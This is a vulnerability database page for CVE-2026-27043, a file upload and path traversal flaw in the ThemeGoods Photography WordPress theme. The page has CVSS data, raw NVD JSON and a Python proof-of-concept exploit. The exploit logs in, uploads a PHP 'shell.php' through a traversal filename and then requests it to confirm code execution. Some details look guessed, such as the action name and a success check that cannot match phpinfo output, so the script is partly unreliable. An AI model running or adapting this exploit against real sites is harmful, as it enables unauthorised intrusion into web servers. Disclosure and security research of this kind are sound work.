Security Vulnerability Report
中文
CVE-2026-27043 CVSS 7.2 HIGH

CVE-2026-27043

Published: 2026-03-19 15:16:24
Last Modified: 2026-04-28 19:37:11

Description

Unrestricted Upload of File with Dangerous Type vulnerability in ThemeGoods Photography allows Path Traversal.This issue affects Photography: from n/a before 7.7.6.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ThemeGoods Photography < 7.7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys import re # CVE-2026-27043 PoC - Photography Theme Arbitrary File Upload # Target: WordPress site with Photography theme < 7.7.6 def exploit_cve_2026_27043(target_url, username, password): """ Exploit for CVE-2026-27043: Photography Theme Unrestricted File Upload + Path Traversal This PoC demonstrates how an authenticated attacker can upload malicious files to arbitrary locations using path traversal techniques. """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2026-27043") # Step 1: Authentication session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious file with path traversal upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious PHP payload payload = b"<?php phpinfo(); ?>" # Path traversal to write outside upload directory filename = "../../../../../../var/www/html/wp-content/uploads/shell.php" files = { 'file': (filename, payload, 'application/x-php'), 'action': 'theme_photography_upload', 'post_id': '1' } headers = { 'X-Requested-With': 'XMLHttpRequest' } try: response = session.post(upload_url, files=files, headers=headers, timeout=30) if response.status_code == 200: print("[+] File upload request sent") print(f"[*] Response: {response.text}") # Step 3: Access the uploaded shell shell_url = f"{target_url}/wp-content/uploads/shell.php" shell_response = session.get(shell_url) if shell_response.status_code == 200 and 'phpinfo()' in str(shell_response.text): print(f"[+] Shell uploaded successfully at: {shell_url}") print("[+] Remote Code Execution achieved!") return True else: print("[-] Shell access failed, trying alternative paths...") except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2026_27043(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27043", "sourceIdentifier": "[email protected]", "published": "2026-03-19T15:16:24.083", "lastModified": "2026-04-28T19:37:11.433", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in ThemeGoods Photography allows Path Traversal.This issue affects Photography: from n/a before 7.7.6."}, {"lang": "es", "value": "Una vulnerabilidad de Carga sin Restricciones de Archivo con Tipo Peligroso en ThemeGoods Photography permite el salto de ruta. Este problema afecta a Photography: desde n/a hasta 7.7.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/theme/photography/vulnerability/wordpress-photography-theme-7-7-5-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}